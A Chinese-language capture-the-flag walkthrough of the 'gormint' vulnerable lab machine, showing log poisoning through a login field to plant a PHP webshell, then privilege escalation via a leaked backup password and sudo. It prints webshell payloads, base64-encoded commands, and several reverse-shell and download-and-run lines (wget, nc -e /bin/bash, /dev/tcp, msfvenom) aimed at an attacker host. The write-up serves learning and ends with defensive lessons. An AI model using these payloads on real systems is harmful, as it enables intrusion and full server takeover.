作者:whale

提高自己在伺服器中的許可權,主要針對網站入侵過程中,當入侵某一網站時,通過各種漏洞提升WEBSHELL許可權以奪得該伺服器許可權。

靶機地址

登陸以後,發現功能少的可憐。。

主面板顯示:under contructin,正在施工。。secrets不知道是什麼,好像不是英語,亂碼?profile是個更改登錄密碼功能,logout就不說了。

那麼,該如何提權呢?。。上傳功能沒有。

config.php裏有個記錄日誌的功能。

http://192.168.1.111/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/ 訪問結果404not found

Y-m-d應該是year、month、day,年月日

http://192.168.1.111/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2018-February-23rd.php 404not found

http://192.168.1.111/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2018-02-23.php 404 not found

http://192.168.1.111/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2018-02-22.php

跳轉到登陸頁面,登陸以後

看來登陸失敗,郵箱地址會記錄到日誌裏,那麼....

如果這麼寫,會不會成功執行呢?

[email protected]<?php eval($_POST[http];?>

先登陸失敗一次,發現在22日日誌裏成功記錄。說明23日的失敗記錄會寫入2018-2-22.php文件裏。

再寫入php代碼,再訪問2018-2-22.php發現,狀態碼為500 internal server error。用菜刀連接,發現一直的一直都是請稍等……我對菜刀的原理還不是很熟悉的,遇到問題懵逼了。。。

500 server error?

em.......要是一直這樣500,那麼難道要等明天,更新新的日誌才能繼續做實驗嗎?!

改網路連接模式為host-only,斷網,改本地時間。只要登陸失敗一次,就會創建2018-2-23.php。

現在檢查是什麼導致500 sever error:

<?php 可以

<?php ?> 可以

<?php $data = shell_exec(base64_decode(L2Jpbi9scyAtbAo=));print_r($data)?>

出錯了,猜測是因為email的輸入有長度限制,命令被截斷了,執行命令就出錯了。

確定不是長度原因。發現,單引號和雙引號會被轉義

<?php echo shell_exec(base64_decode($_GET[cmd]));?>

沒有引號,完美!將這條語句寫入log,在瀏覽器執行時候,就會接收get參數cmd。

cmd參數如果我們傳遞cmd的內容為,編碼過的/bin/ls -l (L2Jpbi9scyAtbAo=),php腳本就會執行shell_exec()函數,從而執行linux命令。

嘗試一:用wget獲取攻擊機的反彈shell的php腳本

wget http://192.168.254.129/php-reverse-shell.php;chmod +x php-reverse-shell.php;./php-reverse-shell.php 將命令編碼
d2dldCBodHRwOi8vMTkyLjE2OC4yNTQuMTI5L3BocC1yZXZlcnNlLXNoZWxsLnBocDtjaG1vZCAreCBwaHAtcmV2ZXJzZS1zaGVsbC5waHA7Li9waHAtcmV2ZXJzZS1zaGVsbC5waHAK

問題:如圖,顯示192.168.254.129 to 192.168.254.129,IP是一樣的?

嘗試二:用nc直接反彈一個bash shell,失敗,unknown host

總結:當能夠直接執行靶機上的shell(例如命令執行漏洞),再用nc反彈shell到攻擊機比較好。

這裡是www-data用戶,所以可能有許可權的問題。

(d2hvYW1p) = whoami 執行結果:www-data
(bmMgMTkyLjE2OC4yNTQuMTI5IDEyMzQ= ) = nc 192.168.254.129 1234
(bmMgLWwgLXZ2IC1wIDEyMzQgLWUgL2Jpbi9iYXNo)= nc -l -vv -p 1234 -e /bin/bash

嘗試三:直接反彈一個shell,失敗,和嘗試二一樣。

bash -i >& /dev/tcp/192.168.254.129/888 0>&1

嘗試四:用msfvenom生成一個反彈shell,和嘗試一差不多。

msfvenom -p linux/x86/shell_reverse_tcp -f elf lhost=192.168.254.129 lport=1234 > /var/www/html/shell
wget http://192.168.254.129/shell;chmod +x shell;./shell
d2dldCBodHRwOi8vMTkyLjE2OC4yNTQuMTI5L3NoZWxsO2NobW9kICt4IHNoZWxsOy4vc2hlbGw=
./shell = Li9zaGVsbA==

獲取信息:

Linux ubuntu 4.4.0-87-generic #110-Ubuntu SMP Tue Jul 18 12:55:35 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

有兩個普通用戶g0rmint、sshd,版本有點高啊,怎麼提權呢?

嘗試一:suid提權,貌似沒有可利用的suid程序

嘗試二:聯想到開頭的ssh埠,於是從資料庫裏提取用戶名密碼。

http://192.168.1.105/g0rmint/s3cretbackupdirect0ry/backup.zip

在s3cretbackupdirect0ry 文件夾下,有個zip文件

unzip backup.zip

cat db.sql

呃好像沒找到密碼,路徑為/var/www/html/g0rmint/s3cretbackupdirect0ry

www目錄下有html、backup.zip,又有一個備份文件.直接解壓,許可權不夠,於是解壓到tmp目錄

unzip backup.zip -d /var/tmp

cd /var/tmp

find db.sql

cat db.sql

在備份文件裏,找到noman的密碼,tayyab123

ssh [email protected]/tayyab123

su root/tayyab123

su:Authentication failure //root密碼不知道

sudo su

tayyab123

locate flag

cat /root/flag.txt

su我知道,切換用戶嘛,sudo我也知道,普通用戶需要執行管理員才能執行的命令的時候,臨時使用的命令嘛。但是sudo su是什麼鬼?沒用過

總結

兩個命令的最大區別是:

sudo命令需要輸入當前用戶的密碼,su 命令需要輸入 root 用戶的密碼。

很明顯,就安全而言,sudo 命令更好。例如,考慮到需要 root 訪問許可權的多用戶使用的計算機。在這種情況下,使用 su意味著需要與其他用戶共享 root 用戶密碼,這顯然不是一種好習慣。

此外,如果要撤銷特定用戶的超級用戶/root 用戶的訪問許可權,唯一的辦法就是更改 root 密碼,然後再告知所有其他用戶新的 root 密碼。

而使用 sudo 命令就不一樣了,你可以很好的處理以上的兩種情況。鑒於 sudo 命令要求輸入的是其他用戶自己的密碼,所以,不需要共享 root 密碼。

同時,想要阻止特定用戶訪問 root 許可權,只需要調整 sudoers 文件中的相應配置即可。

可以看到該靶機中,sudoers文件表示,所有用戶都可以執行sudo來提權。

登陸表單的郵箱參數,應該有長度限制!應該要過濾敏感字元!僅僅轉義是不夠的!

備份文件是要刪除的,不能放在網站var/www/html/文件夾下,sudo -i、sudo、su命令都可以使得sudoer用戶有root許可權。

推薦閱讀:

相關文章